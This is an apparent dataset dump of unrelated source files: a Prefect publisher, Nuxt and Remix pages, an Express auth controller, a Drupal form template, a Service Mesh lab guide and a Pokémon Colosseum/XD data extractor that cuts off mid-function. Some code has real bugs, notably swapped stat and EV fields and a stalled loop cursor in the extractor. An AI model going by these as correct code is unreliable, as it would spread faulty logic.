text
stringlengths 184
4.48M
|
---|
from typing import Iterable
from prefect.logging import get_logger
from prefect.server.events.schemas.events import ReceivedEvent
from prefect.server.utilities.messaging import Publisher, create_publisher
from prefect.settings import PREFECT_EVENTS_MAXIMUM_SIZE_BYTES
logger = get_logger(__name__)
async def publish(events: Iterable[ReceivedEvent]):
"""Send the given events as a batch via the default publisher"""
async with create_event_publisher() as publisher:
for event in events:
await publisher.publish_event(event)
class EventPublisher(Publisher):
_publisher: Publisher
def __init__(self, publisher: Publisher = None):
self._publisher = publisher
async def __aenter__(self):
await self._publisher.__aenter__()
return self
async def __aexit__(self, *args):
await self._publisher.__aexit__(*args)
async def publish_data(self, data: bytes, attributes: dict):
await self._publisher.publish_data(data, attributes)
async def publish_event(self, event: ReceivedEvent):
"""
Publishes the given events
Args:
event: the event to publish
"""
encoded = event.model_dump_json().encode()
if len(encoded) > PREFECT_EVENTS_MAXIMUM_SIZE_BYTES.value():
logger.warning(
"Refusing to publish event of size %s",
extra={
"event_id": str(event.id),
"event": event.event[:100],
"length": len(encoded),
},
)
return
await self.publish_data(
encoded,
{
"id": str(event.id),
"event": event.event,
},
)
def create_event_publisher() -> EventPublisher:
publisher = create_publisher(topic="events", deduplicate_by="id")
return EventPublisher(publisher=publisher)
def create_actions_publisher() -> Publisher:
return create_publisher(topic="actions", deduplicate_by=None)
|
<template>
<div class="flex items-center justify-between">
<nuxt-link
:to="{ name: 'talks' }"
class="text-blue-600 hover:text-blue-800"
>
< Back to list
</nuxt-link>
<button
class="px-6 py-2 bg-red-600 text-white text-xs rounded shadow-md hover:bg-red-700"
@click="deleteItem"
>
Delete
</button>
</div>
<h1 class="text-3xl my-4">Edit Talk {{ item?.["@id"] }}</h1>
<div
v-if="isLoading || deleteLoading"
class="bg-blue-100 rounded py-4 px-4 text-blue-700 text-sm"
role="status"
>
Loading...
</div>
<div
v-if="error || deleteError"
class="bg-red-100 rounded py-4 px-4 my-2 text-red-700 text-sm"
role="alert"
>
{{ error || deleteError }}
</div>
<div
v-if="created || updated"
class="bg-green-100 rounded py-4 px-4 my-2 text-green-700 text-sm"
role="status"
>
<template v-if="updated">{{ updated["@id"] }} updated.</template>
<template v-else-if="created">{{ created["@id"] }} created.</template>
</div>
<Form :values="item" :errors="violations" @submit="update" />
</template>
<script lang="ts" setup>
import { Ref } from "vue";
import { storeToRefs } from "pinia";
import Form from "~~/components/talk/TalkForm.vue";
import { useTalkUpdateStore } from "~~/stores/talk/update";
import { useTalkCreateStore } from "~~/stores/talk/create";
import { useTalkDeleteStore } from "~~/stores/talk/delete";
import { useMercureItem } from "~~/composables/mercureItem";
import { useFetchItem, useUpdateItem } from "~~/composables/api";
import { SubmissionErrors } from "~~/types/error";
import type { Talk } from "~~/types/talk";
const route = useRoute();
const router = useRouter();
const talkCreateStore = useTalkCreateStore();
const { created } = storeToRefs(talkCreateStore);
const talkDeleteStore = useTalkDeleteStore();
const { error: deleteError, deleted, isLoading: deleteLoading } =
storeToRefs(talkDeleteStore);
const talkUpdateStore = useTalkUpdateStore();
useMercureItem({
store: talkUpdateStore,
deleteStore: talkDeleteStore,
redirectRouteName: "talks",
});
const id = decodeURIComponent(route.params.id as string);
let updated: Ref<Talk | undefined> = ref(undefined);
let violations: Ref<SubmissionErrors | undefined> = ref(undefined);
let {
retrieved: item,
error,
isLoading,
hubUrl,
} = await useFetchItem<Talk>(`talks/${id}`);
talkUpdateStore.setData({
retrieved: item,
error,
isLoading,
hubUrl,
});
async function update(payload: Talk) {
if (!item?.value) {
talkUpdateStore.setError("No item found. Please reload");
return;
}
const data = await useUpdateItem<Talk>(item.value, payload);
updated.value = data.updated.value;
violations.value = data.violations.value;
isLoading.value = data.isLoading.value;
error.value = data.error.value;
talkUpdateStore.setUpdateData(data);
}
async function deleteItem() {
if (!item?.value) {
talkDeleteStore.setError("No item found. Please reload");
return;
}
if (window.confirm("Are you sure you want to delete this talk?")) {
const { isLoading, error } = await useDeleteItem(item.value);
if (error.value) {
talkDeleteStore.setError(error.value);
return;
}
talkDeleteStore.setLoading(Boolean(isLoading?.value));
talkDeleteStore.setDeleted(item.value);
talkDeleteStore.setMercureDeleted(undefined);
if (deleted) {
router.push({ name: "talks" });
}
}
}
onBeforeUnmount(() => {
talkUpdateStore.$reset();
talkCreateStore.$reset();
talkDeleteStore.$reset();
});
</script>
|
import {
defer,
LinksFunction,
type LoaderFunction,
type MetaFunction,
} from "@remix-run/node";
import { Await, useLoaderData } from "@remix-run/react";
import { Suspense } from "react";
//import { deferredData01 } from "./deferredData01.server";
//import { deferredData02 } from "./deferredData02.server";
import ErrorElement from "../errorElement";
import styles from "./styles.css";
export let links: LinksFunction = () => [{ rel: "stylesheet", href: styles }];
const deferredQuery01 = async (): Promise<{ data: string }> => {
const { deferredData01 } = await import("./deferredData01");
await new Promise<void>((resolve) => setTimeout(resolve, 500));
return {
data: deferredData01,
};
};
const deferredQuery02 = async (): Promise<{ data: string }> => {
const { deferredData02 } = await import("./deferredData02");
await new Promise<void>((resolve) => setTimeout(resolve, 1000));
return {
data: deferredData02,
};
};
export const loader: LoaderFunction = async () => {
console.log("BLOG");
return defer({
deferred01: deferredQuery01(),
deferred02: deferredQuery02(),
});
};
export default function Index() {
const { deferred01, deferred02 } = useLoaderData<typeof loader>();
return (
<main>
<h2>BLOG</h2>
<p>Static Data waiting for company</p>
<Suspense fallback={<div className="spinner">Defered Data 01 ...</div>}>
<Await resolve={deferred01} errorElement={<ErrorElement />}>
{({ data }) => <p>{data}</p>}
</Await>
</Suspense>
<Suspense fallback={<div className="spinner">Defered Data 02 ...</div>}>
<Await resolve={deferred02} errorElement={<ErrorElement />}>
{({ data }) => <p>{data}</p>}
</Await>
</Suspense>
</main>
);
}
|
const bcrypt = require("bcrypt");
const jwt = require("jsonwebtoken");
const gravatar = require("gravatar");
const path = require("path");
const fs = require("fs/promises");
const { nanoid } = require("nanoid");
const User = require("../models/user");
const {
ctrlWrapper,
HttpError,
avatarHandler,
sendEmail,
} = require("../utils");
const { SECRET_KEY, BASE_URL } = process.env;
const avatarsDir = path.join(__dirname, "../", "public", "avatars");
const register = async (req, res) => {
const { email, password } = req.body;
const user = await User.findOne({ email });
if (user) throw HttpError(409, "Email in use");
const hashPassword = await bcrypt.hash(password, 10);
const avatarURL = gravatar.url(email);
const verificationToken = nanoid();
const newUser = await User.create({
...req.body,
password: hashPassword,
avatarURL,
verificationToken,
});
const verifyEmail = {
to: email,
subject: "Verify email",
html: `<a target="_blank" href="${BASE_URL}/api/users/verify/${verificationToken}">Click to verify email</a>`,
};
await sendEmail(verifyEmail);
res.status(201).json({
user: { email: newUser.email, subscription: newUser.subscription },
});
};
const verificationEmail = async (req, res) => {
const { verificationToken } = req.params;
const user = await User.findOne({ verificationToken });
if (!user) throw HttpError(404, "User not found");
await User.findByIdAndUpdate(user._id, {
verify: true,
verificationToken: null,
});
res.json({ message: "Verification successful" });
};
const resendVerificationEmail = async (req, res) => {
const { email } = req.body;
const user = await User.findOne({ email });
if (!user) throw HttpError(404, "Email not found");
if (user.verify) throw HttpError(400, "Verification has already been passed");
const verifyEmail = {
to: email,
subject: "Verify email",
html: `<a target="_blank" href="${BASE_URL}/api/users/verify/${user.verificationToken}">Click verify email</a>`,
};
await sendEmail(verifyEmail);
res.json({ message: "Verification email sent" });
};
const login = async (req, res) => {
const { email, password } = req.body;
const user = await User.findOne({ email });
if (!user) throw HttpError(401, "Email or password is wrong");
if (!user.verify) throw HttpError(401, "Email not verified");
const passwordCompare = await bcrypt.compare(password, user.password);
if (!passwordCompare) throw HttpError(401, "Email or password is wrong");
const payload = { id: user._id };
const { subscription } = user;
const token = jwt.sign(payload, SECRET_KEY, { expiresIn: "23h" });
await User.findByIdAndUpdate(user._id, { token });
res.json({
token,
user: { email, subscription },
});
};
const getCurrent = async (req, res) => {
const { email, subscription } = req.user;
res.json({ email, subscription });
};
const logout = async (req, res) => {
const { _id } = req.user;
await User.findByIdAndUpdate(_id, { token: "" });
res.status(204).send();
};
const updateAvatar = async (req, res) => {
const { _id } = req.user;
const { path: tmpUpload, originalname } = req.file;
const filename = `${_id}_${originalname}`;
await avatarHandler(tmpUpload);
const resultUpload = path.join(avatarsDir, filename);
await fs.rename(tmpUpload, resultUpload);
const avatarUrl = path.join("avatars", filename);
await User.findByIdAndUpdate(_id, { avatarUrl });
res.json({ avatarUrl });
};
module.exports = {
register: ctrlWrapper(register),
verificationEmail: ctrlWrapper(verificationEmail),
resendVerificationEmail: ctrlWrapper(resendVerificationEmail),
login: ctrlWrapper(login),
getCurrent: ctrlWrapper(getCurrent),
logout: ctrlWrapper(logout),
updateAvatar: ctrlWrapper(updateAvatar),
};
|
<?php
namespace Drupal\{{ machine_name }}\Form;
use Drupal\Core\Entity\ContentEntityForm;
use Drupal\Core\Form\FormStateInterface;
/**
* Form controller for the {{ entity_type_label|lower }} entity edit forms.
*/
class {{ class_prefix }}Form extends ContentEntityForm {
/**
* {@inheritdoc}
*/
public function save(array $form, FormStateInterface $form_state) {
$entity = $this->getEntity();
$result = $entity->save();
$link = $entity->toLink($this->t('View'))->toRenderable();
$message_arguments = ['%label' => $this->entity->label()];
$logger_aruments = $message_arguments + ['link' => render($link)];
if ($result == SAVED_NEW) {
drupal_set_message($this->t('Created new {{ entity_type_label|lower }} %label.', $message_arguments));
$this->logger('{{ machine_name }}')->notice('Creaqted new {{ entity_type_label|lower }} %label', $logger_aruments);
}
else {
drupal_set_message($this->t('Updated {{ entity_type_label|lower }} %label.', $message_arguments));
$this->logger('{{ machine_name }}')->notice('Creaqted new {{ entity_type_label|lower }} %label.', $logger_aruments);
}
$form_state->setRedirect('entity.{{ entity_type_id }}.canonical', ['{{ entity_type_id }}' => $entity->id()]);
}
}
|
== Introduction
In this section you will configure and observe traffic between the micro services that make up the example application.
Requests are routed to services within a service mesh with virtual services.
Each virtual service consists of a set of routing rules that are evaluated in order.
Red Hat OpenShift Service Mesh matches each given request to the virtual service to a specific real destination within the mesh.
Without virtual services, Red Hat OpenShift Service Mesh distributes traffic using round-robin load balancing between all service instances.
With a virtual service, you can specify traffic behavior for one or more hostnames.
Routing rules in the virtual service tell Red Hat OpenShift Service Mesh how to send the traffic for the virtual service to appropriate destinations.
Route destinations can be versions of the same service or entirely different services.
:numbered:
== Configuring virtual services with weighted load balancing
. Weighted load balancing requests are forwarded to instances in the pool according to a specific percentage.
In this example 80% to v1, 20% to v2.
To create a virtual service with this configuration, run the following command:
+
[source,sh,role=execute]
----
cat << EOF | oc apply -f -
---
apiVersion: networking.istio.io/v1alpha3
kind: VirtualService
metadata:
name: reviews
spec:
hosts:
- reviews
http:
- route:
- destination:
host: reviews
subset: v1
weight: 80
- destination:
host: reviews
subset: v2
weight: 20
EOF
----
+
.Sample Output
[source,text,options=nowrap]
----
virtualservice.networking.istio.io/reviews created
----
. Refresh your browser tab containing the Bookinfo URL a few times and you'll see that occasionally you'll see the v2 of the book review app which has star ratings.
+
Accidentally close out of the tab?
No problem, run the following command to get the product page URL:
+
[source,sh,role=execute]
----
echo "http://$(oc -n istio-system get route istio-ingressgateway -o jsonpath='{.spec.host}')/productpage"
----
+
.Sample Output
[source,text,options=nowrap]
----
http://istio-ingressgateway-istio-system.apps.rosa-6n4s8.1c1c.p1.openshiftapps.com/productpage
----
== Observe traffic using the Kiali web console
Kiali is an observability console for the OpenShift Service Mesh with service mesh configuration and validation capabilities.
It helps you understand the structure and health of your service mesh by monitoring traffic flow to infer the topology and report errors.
. First, grab the Kiali web console URL.
To do so, run the following command:
+
[source,sh,role=execute]
----
echo "https://$(oc get routes -n istio-system kiali -o jsonpath='{.spec.host}')/console"
----
+
.Sample Output
[source,text,options=nowrap]
----
https://kiali-istio-system.apps.rosa-6n4s8.1c1c.p1.openshiftapps.com/console
----
. Next, navigate to that URL in your web browser and click the `Login With OpenShift` button.
+
[subs="attributes"]
====
Remember your credentials:
* *Admin user ID:* rosa-admin
* *Admin user Password:* {rosa_user_password}
Also note that if you are logged into OpenShift in another browser tab then single sign on will not even prompt you for credentials after you click the `Login With OpenShift` button.
====
+
image::kiali-login-with-cluster-credentials.png[Kiali Login]
+
Once logged in, the Kiali Overview screen presents tiles for each project namespace.
+
image::verify-overiview-bookinfoapp.png[Kiali Console]
. Now, let's generate some traffic against the product page service.
To do so, run the following command in your terminal:
+
[source,sh,role=execute]
----
while true; do curl -sSL "http://$(oc -n istio-system get route istio-ingressgateway -o jsonpath='{.spec.host}')/productpage" | head -n 5; sleep 1; done
----
+
Leave the loop running and proceed to the next steps.
. Return to the Kiali web console and click the _Graph_ option in the sidebar.
. Next, select _bookinfo_ from the Namespace list, and App graph from the Graph Type list.
+
image::select-bookinfo-from-kiali-dropdown-graph-tab.png[Kiali Console]
. Next, click on the _Display idle nodes_ button.
+
image::kiali-click-display-idlenodes-graph-tab.png[Kiali Console]
. Next, view the graph and change the display settings to add or remove information from the graph.
+
image::graph-example.png[Kiali Console]
. Next, click the _Workload_ tab and select the _details-v1_ workload.
+
image::example-details-workload.png[Kiali Console]
. In your terminal window stop the traffic generation by pressing kbd:[CTRL+c].
*Congratulations!*
You should now see traffic flowing between the various services in your bookinfo application.
This concludes the Service Mesh section of this experience.
|
import s from "styles/Main.module.sass"
import * as React from "react"
import {ButtonDefault} from "../utils/ButtonDefault"
import {useSelector} from "react-redux"
import {selectHireMe} from "components/blocks/HireMe/hireMe.selector"
import {useState} from "react"
import Notification from "components/blocks/utils/Notification"
import Loader from "../utils/Loader"
import {Trans} from "react-i18next"
import {selectLang} from "components/blocks/Nav/nav.selector"
// @ts-ignore
import Flip from "react-reveal/Flip"
export const HireMe = () => {
const hireMe = useSelector(selectHireMe)
const [loader, setLoader] = useState(false)
const [open, setOpen] = useState(false)
const [error, setError] = useState(false)
const lang = useSelector(selectLang)
const handleClose = (event?: React.SyntheticEvent | Event, reason?: string) => {
if (reason === 'clickaway') {
return
}
setOpen(false)
}
const downloadPDF = () => {
try {
setLoader(true)
setError(false)
setTimeout(() => {
setLoader(false)
setOpen(true)
}, 1000)
} catch {
setError(true)
}
}
return (
<div className={s.block} id={"myProjects"}>
<Flip>
<h2 id={hireMe.id} className={s.blockTitle}>
<Trans i18nKey={"hireMe.name"}>{hireMe.name}</Trans>
</h2>
</Flip>
{loader && <Loader />}
{(open || error) && <Notification
text={open ? "CV downloaded successfully" : "Something went wrong. Please try later or contact me"}
severity={open ? "success" : "error"}
handleClose={handleClose}
open={open || error}
/>}
<div className={s.blockHireMe}>
<a href={lang === 'ru' ? './cv_rus.pdf' : lang === 'en' ? './cv_eng.pdf' : './cv_esp.pdf'} download>
<ButtonDefault name={"CV"} type={"button"} callback={downloadPDF} />
</a>
<a href="https://www.linkedin.com/in/nataly-baranova-972952253/" target={'_blank'}>
<ButtonDefault name={"LinkedIn"} type={"button"} />
</a>
<a href="https://hh.ru/applicant/resumes?hhtmFrom=settings&hhtmFromLabel=header" target={'_blank'}>
<ButtonDefault name={"HeadHunters"} type={"button"} />
</a>
</div>
</div>
)
}
|
import csv
from dataclasses import dataclass
from io import BufferedReader
from pathlib import Path
import struct
import sys
import progressbar
from slugify import slugify
from inc.yaml import yaml
from .enums import type_map, Version
from .strings import ColoStrings, get_string, XdStrings
out = {}
species_slugs = {}
pokemon_slugs = {}
out_pokemon_moves = set()
form_default_map = {
'castform': 'castform-default',
'deoxys': 'deoxys-normal',
}
slug_overrides = {
'farfetch-d': 'farfetchd',
}
def get_pokemon(game_path: Path, version: Version, pokemon_out_path: Path, ability_slugs: dict, item_slugs: dict,
move_slugs: dict, items: dict):
out.clear()
species_slugs.clear()
pokemon_slugs.clear()
out_pokemon_moves.clear()
print('Dumping Pokemon')
species_levelup_data, species_machine_data, species_evolution_data, species_tutor_data = \
_get_stats(game_path, version, ability_slugs, item_slugs)
_get_strategy_memo_order()
_build_forms(version)
for species_slug, evolution_data in species_evolution_data.items():
_get_evolution(species_slug, version, evolution_data, item_slugs)
_handle_specials(version)
# Move learnsets
# Get the moves each tm teaches
machine_moves = {}
for item_slug, item_data in items.items():
if 'machine' not in item_data:
continue
machine_data = item_data['machine']
machine_moves[item_slug] = machine_data['move']
for species_slug, data in species_levelup_data.items():
_get_levelup_moves(species_slug, version, move_slugs, data)
for species_slug, data in species_machine_data.items():
_get_machine_moves(species_slug, version, move_slugs, machine_moves, data)
for species_slug, data in species_tutor_data.items():
_get_tutor_moves(species_slug, version, move_slugs, data)
# _pullup_data(version, pokemon_out_path)
return out, out_pokemon_moves, species_slugs, pokemon_slugs
def _get_stats(game_path: Path, version: Version, ability_slugs: dict, item_slugs: dict):
pokemon_offset = {
Version.COLOSSEUM: 0x12336C,
Version.XD: 0x029ECC
}
pokemon_offset = pokemon_offset[version]
pokemon_length = {
Version.COLOSSEUM: 0x011C,
Version.XD: 0x0124,
}
pokemon_length = pokemon_length[version]
num_species = 412 # This includes some dummy mons in the middle, as in the GBA games
name_table = {
Version.COLOSSEUM: ColoStrings.StringTable.COMMON_REL,
Version.XD: XdStrings.StringTable.COMMON_REL,
}
name_table = name_table[version]
genus_table = {
Version.COLOSSEUM: ColoStrings.StringTable.PDA_MENU_2,
Version.XD: XdStrings.StringTable.PDA_MENU_2,
}
genus_table = genus_table[version]
common_rel_path = (game_path.joinpath(Path('common.fsys/common_rel.fdat')))
assert common_rel_path.is_file()
growth_rate_map = {
0x00: 'medium',
0x01: 'slow-then-very-fast',
0x02: 'fast-then-very-slow',
0x03: 'medium-slow',
0x04: 'fast',
0x05: 'slow',
}
egg_group_map = {
0x01: 'monster',
0x02: 'water1',
0x03: 'bug',
0x04: 'flying',
0x05: 'ground',
0x06: 'fairy',
0x07: 'plant',
0x08: 'humanshape',
0x09: 'water3',
0x0A: 'mineral',
0x0B: 'indeterminate',
0x0C: 'water2',
0x0D: 'ditto',
0x0E: 'dragon',
0x0F: 'no-eggs',
}
@dataclass()
class PokemonStats:
def __init__(self, data: bytes):
self.growthRate = growth_rate_map[data[0]]
self.captureRate = None
self.femaleRate = None
self.experience = None
self.happiness = None
self.height = None
self.weight = None
self.cryId = None
self.sortPosition = None
self.dexNationalNum = None
self.dexHoennNum = None
self.nameId = None
self.genusId = None
self.modelId = None
self.types = None
self.abilities = None
self.machines = None
self.tutors = None
self.hp = None
self.attack = None
self.defense = None
self.specialAttack = None
self.specialDefense = None
self.speed = None
self.evHp = None
self.evAttack = None
self.evDefense = None
self.evSpecialAttack = None
self.evSpecialDefense = None
self.evSpeed = None
self.evolution = None
self.levelupMoves = None
self.iconId = None
if version == Version.COLOSSEUM:
data = struct.unpack('>BBBxIHHHHHHHHII14xHBBBB58sBBHH16xHHHHHHHHHHHH30s80s4xH12x', data)
self.growthRate = growth_rate_map[data[0]]
self.captureRate = data[1]
self.femaleRate = data[2]
self.experience = data[3]
self.happiness = data[4]
self.height = data[5]
self.weight = data[6]
self.cryId = data[7]
self.sortPosition = data[8]
self.dexNationalNum = data[9]
self.dexHoennNum = data[10]
# self.hatchSteps = data[11]
self.nameId = data[12]
self.genusId = data[13]
self.modelId = data[14]
self.types = []
for type_id in [data[15], data[16]]:
if type_map[type_id] not in self.types:
self.types.append(type_map[type_id])
self.abilities = []
for ability_id in [data[17], data[18]]:
if ability_id > 0:
self.abilities.append(ability_slugs[ability_id])
self.machines = data[19]
# self.eggGroups = []
# for egg_group_id in [data[20], data[21]]:
# if egg_group_id > 0 and egg_group_map[egg_group_id] not in self.eggGroups:
# self.eggGroups.append(egg_group_map[egg_group_id])
# if data[22] > 0:
# self.item1 = item_slugs[data[22]]
# else:
# self.item1 = None
# if data[23] > 0:
# self.item2 = item_slugs[data[23]]
# else:
# self.item2 = None
self.hp = data[24]
self.attack = data[25]
self.defense = data[26]
self.specialAttack = data[27]
self.specialDefense = data[28]
self.speed = data[29]
self.evHp = data[30]
self.evAttack = data[31]
self.evDefense = data[32]
self.evSpecialAttack = data[33]
self.evSpecialDefense = data[34]
self.evSpeed = data[35]
self.evolution = data[36]
self.levelupMoves = data[37]
self.iconId = data[38]
else:
data = struct.unpack('>BBBxHHHHHH2xHH2xII14xHBBBB58s12s20xHHHHHHHHHHHH30s80s16x', data)
self.growthRate = growth_rate_map[data[0]]
self.captureRate = data[1]
self.femaleRate = data[2]
self.experience = data[3]
self.happiness = data[4]
self.height = data[5]
self.weight = data[6]
self.cryId = data[7]
self.sortPosition = data[8]
self.dexNationalNum = data[9]
self.dexHoennNum = data[10]
self.nameId = data[11]
self.genusId = data[12]
self.modelId = data[13]
self.types = []
for type_id in [data[14], data[15]]:
if type_map[type_id] not in self.types:
self.types.append(type_map[type_id])
self.abilities = []
for ability_id in [data[16], data[17]]:
if ability_id > 0:
self.abilities.append(ability_slugs[ability_id])
self.machines = data[18]
self.tutors = data[19]
self.hp = data[20]
self.attack = data[21]
self.defense = data[22]
self.specialAttack = data[23]
self.specialDefense = data[24]
self.speed = data[25]
self.evHp = data[26]
self.evAttack = data[27]
self.evDefense = data[28]
self.evSpecialAttack = data[29]
self.evSpecialDefense = data[30]
self.evSpeed = data[31]
self.evolution = data[32]
self.levelupMoves = data[33]
levelup_data = {}
machine_data = {}
evolution_data = {}
tutor_data = {}
common_rel_file: BufferedReader
with common_rel_path.open('rb') as common_rel_file:
for species_id in range(1, num_species + 1):
common_rel_file.seek(pokemon_offset + ((species_id - 1) * pokemon_length))
stats = PokemonStats(common_rel_file.read(pokemon_length))
if stats.nameId == 0x00:
# Dummy mon
continue
name = get_string(game_path, name_table, stats.nameId)
species_slug = slugify(name.replace('♀', '-f').replace('♂', '-m'))
if species_slug in slug_overrides:
species_slug = slug_overrides[species_slug]
species_slugs[species_id] = species_slug
if species_slug in form_default_map:
pokemon_slug = form_default_map[species_slug]
else:
pokemon_slug = species_slug
pokemon_slugs[species_slug] = [pokemon_slug]
out[species_slug] = {
'name': name,
'position': stats.sortPosition,
'numbers': {
'national': stats.dexNationalNum
},
}
pokemon = {
'name': name,
'default': True,
'forms_switchable': False,
'forms_note': None,
'capture_rate': stats.captureRate,
'experience': stats.experience,
'types': stats.types,
'stats': {
'hp': {
'base_value': stats.hp,
'effort_change': stats.evHp,
},
'attack': {
'base_value': stats.attack,
'effort_change': stats.evAttack,
},
'defense': {
'base_value': stats.defense,
'effort_change': stats.evDefense,
},
'speed': {
'base_value': stats.speed,
'effort_change': stats.evSpeed,
},
'special-attack': {
'base_value': stats.specialAttack,
'effort_change': stats.evSpecialDefense,
},
'special-defense': {
'base_value': stats.hp,
'effort_change': stats.evSpecialDefense,
},
},
'growth_rate': stats.growthRate,
'female_rate': stats.femaleRate,
# 'hatch_steps': stats.hatchSteps,
# 'egg_groups': stats.eggGroups,
# 'wild_held_items': {},
'happiness': stats.happiness,
'abilities': {},
'genus': '{genus} Pokémon'.format(genus=get_string(game_path, genus_table, stats.genusId)),
'height': None,
'weight': None,
}
# Gender
if pokemon['female_rate'] == 255:
# Genderless
del pokemon['female_rate']
else:
pokemon['female_rate'] = round((pokemon['female_rate']) / 254 * 100)
# Wild held items
# if stats.item1 or stats.item2:
# if stats.item1 == stats.item2:
# pokemon['wild_held_items'][stats.item1] = 100
# else:
# # These chances are hard coded in
# if stats.item1:
# pokemon['wild_held_items'][stats.item1] = 50
# if stats.item2:
# pokemon['wild_held_items'][stats.item2] = 5
# else:
# del pokemon['wild_held_items']
# Abilities
i = 1
for ability in stats.abilities:
if not ability:
continue
pokemon['abilities'][ability] = {'hidden': False, 'position': i}
i += 1
if version == Version.COLOSSEUM:
# In Colosseum, Height and Weight have reverted to being stored in the same
# ridiculous way as Gen 2.
height_parts = str(stats.height / 100).split('.')
height_ft = int(height_parts[0])
height_in = int(height_parts[1])
pokemon['height'] = max(1, round(((12 * height_ft) + height_in) / 3.937))
weight_lbs = stats.weight / 10
pokemon['weight'] = max(1, round(weight_lbs * 4.536))
else:
# Hooray for sanity
pokemon['height'] = stats.height
pokemon['weight'] = stats.weight
# Colosseum and XD have no in-game Pokedex descriptions, so no flavor text.
out[species_slug]['pokemon'] = {pokemon_slug: pokemon}
# This will be processed later
levelup_data[species_slug] = stats.levelupMoves
machine_data[species_slug] = stats.machines
evolution_data[species_slug] = stats.evolution
if stats.tutors:
tutor_data[species_slug] = stats.tutors
return levelup_data, machine_data, evolution_data, tutor_data
def _get_strategy_memo_order():
slugs = list(species_slugs.values())
slugs.sort()
i = 1
for slug in slugs:
out[slug]['numbers']['orre-strategy-memo'] = i
i += 1
def _get_levelup_moves(species_slug: str, version: Version, move_slugs: dict, levelup_data: bytes):
@dataclass()
class LevelupEntry:
def __init__(self, data: bytes):
data = struct.unpack('>BxH', data)
self.level = data[0]
if data[1] > 0:
self.move = move_slugs[data[1]]
else:
self.move = None
cursor = 0
for index in range(0, 20):
levelup_entry = LevelupEntry(levelup_data[cursor:cursor + 4])
if levelup_entry.move is None:
continue
cursor += 4
for pokemon_slug in pokemon_slugs[species_slug]:
out_pokemon_moves.add(tuple({
'species': species_slug,
'pokemon': pokemon_slug,
'version_group': version.value,
'move': levelup_entry.move,
'learn_method': 'level-up',
'level': levelup_entry.level,
'machine': None,
}.items()))
def _get_machine_moves(species_slug: str, version: Version, move_slugs: dict, machine_moves: dict, machine_data: bytes):
# Ignore HMs, as they are not in these games
for machine_id in range(1, 51):
can_learn = bool(machine_data[machine_id - 1])
if can_learn:
machine_type = 'TM'
machine_number = machine_id
item_slug = '{type}{number:02}'.format(type=machine_type.lower(), number=machine_number)
for pokemon_slug in pokemon_slugs[species_slug]:
out_pokemon_moves.add(tuple({
'species': species_slug,
'pokemon': pokemon_slug,
'version_group': version.value,
'move': machine_moves[item_slug],
'learn_method': 'machine',
'level': None,
'machine': item_slug,
}.items()))
def _get_tutor_moves(species_slug: str, version: Version, move_slugs: dict, tutor_data: bytes):
tutor_move_map = {
0: 'body-slam',
1: 'double-edge',
2: 'seismic-toss',
3: 'mimic',
4: 'nightmare',
5: 'thunder-wave',
6: 'swagger',
7: 'icy-wind',
8: 'substitute',
9: 'sky-attack',
10: 'selfdestruct',
11: 'dream-eater',
}
for tutor_id, move_slug in tutor_move_map.items():
can_learn = bool(tutor_data[tutor_id])
if can_learn:
for pokemon_slug in pokemon_slugs[species_slug]:
out_pokemon_moves.add(tuple({
'species': species_slug,
'pokemon': pokemon_slug,
'version_group': version.value,
'move': move_slug,
'learn_method': 'tutor',
'level': None,
'machine': None,
}.items()))
def _build_forms(version: Version):
for species_slug in species_slugs.values():
if species_slug in form_default_map:
form_slug = form_default_map[species_slug]
else:
form_slug = '{slug}-default'.format(slug=pokemon_slugs[species_slug][0])
form_name = out[species_slug]['name']
form = {
'name': form_name,
'form_name': 'Default Form',
'default': True,
'battle_only': False,
'sprites': [
'{version_group}/{slug}.png'.format(version_group=version.value, slug=form_slug),
'{version_group}/shiny/{slug}.png'.format(version_group=version.value, slug=form_slug),
],
'art': ['{slug}.png'.format(slug=form_slug)],
'cry': 'gen5/{slug}.webm'.format(slug=form_slug),
}
out[species_slug]['pokemon'][pokemon_slugs[species_slug][0]]['forms'] = {
pokemon_slugs[species_slug][0]: form
}
def _get_evolution(species_slug: str, version: Version, evolution_data: bytes, item_slugs: dict):
@dataclass()
class Evolution:
def __init__(self, data: bytes):
data = struct.unpack('>BxHH', data)
self.methodTrigger = data[0]
self.param = data[1]
self.evolvesIntoId = data[2]
# Each species has 5 entries in the evolution table. Most of them are blank, but this leaves enough room
# to store all of Eevee's evolutions.
num_entries = 5
evolution_length = 6
cursor = 0
for i in range(0, num_entries):
evolution = Evolution(evolution_data[cursor:cursor + evolution_length])
cursor += evolution_length
if evolution.methodTrigger == 0:
continue
evolves_into = species_slugs[evolution.evolvesIntoId]
out[evolves_into]['pokemon'][pokemon_slugs[evolves_into][0]].update({
'evolution_parent': '{species}/{pokemon}'.format(species=species_slug,
pokemon=pokemon_slugs[species_slug][0])
})
# The methodTrigger entry doesn't map cleanly to our data format, so everything
# is a special case.
if evolution.methodTrigger == 0x01:
# Friendship, any time
out[evolves_into]['pokemon'][pokemon_slugs[evolves_into][0]].update({
'evolution_conditions': {
'level-up': {
'minimum_happiness': 220,
}
}
})
elif evolution.methodTrigger == 0x02:
# Friendship, during the day
out[evolves_into]['pokemon'][pokemon_slugs[evolves_into][0]].update({
'evolution_conditions': {
'level-up': {
'minimum_happiness': 220,
'time_of_day': ['day'],
}
}
})
elif evolution.methodTrigger == 0x03:
# Friendship, during the night
out[evolves_into]['pokemon'][pokemon_slugs[evolves_into][0]].update({
'evolution_conditions': {
'level-up': {
'minimum_happiness': 220,
'time_of_day': ['night'],
}
}
})
elif evolution.methodTrigger == 0x04:
# Minimum level
out[evolves_into]['pokemon'][pokemon_slugs[evolves_into][0]].update({
'evolution_conditions': {
'level-up': {
'minimum_level': evolution.param,
}
}
})
elif evolution.methodTrigger == 0x05:
# Traded
out[evolves_into]['pokemon'][pokemon_slugs[evolves_into][0]].update({
'evolution_conditions': {
'trade': {}
}
})
elif evolution.methodTrigger == 0x06:
# Traded, with item
out[evolves_into]['pokemon'][pokemon_slugs[evolves_into][0]].update({
'evolution_conditions': {
'trade': {
'held_item': item_slugs[evolution.param],
}
}
})
elif evolution.methodTrigger == 0x07:
# Use item
out[evolves_into]['pokemon'][pokemon_slugs[evolves_into][0]].update({
'evolution_conditions': {
'use-item': {
'trigger_item': item_slugs[evolution.param],
}
}
})
elif evolution.methodTrigger == 0x08:
# Minimum level, Attack > Defense
out[evolves_into]['pokemon'][pokemon_slugs[evolves_into][0]].update({
'evolution_conditions': {
'level-up': {
'minimum_level': evolution.param,
'physical_stats_difference': 1,
}
}
})
elif evolution.methodTrigger == 0x09:
# Minimum level, Attack == Defense
out[evolves_into]['pokemon'][pokemon_slugs[evolves_into][0]].update({
'evolution_conditions': {
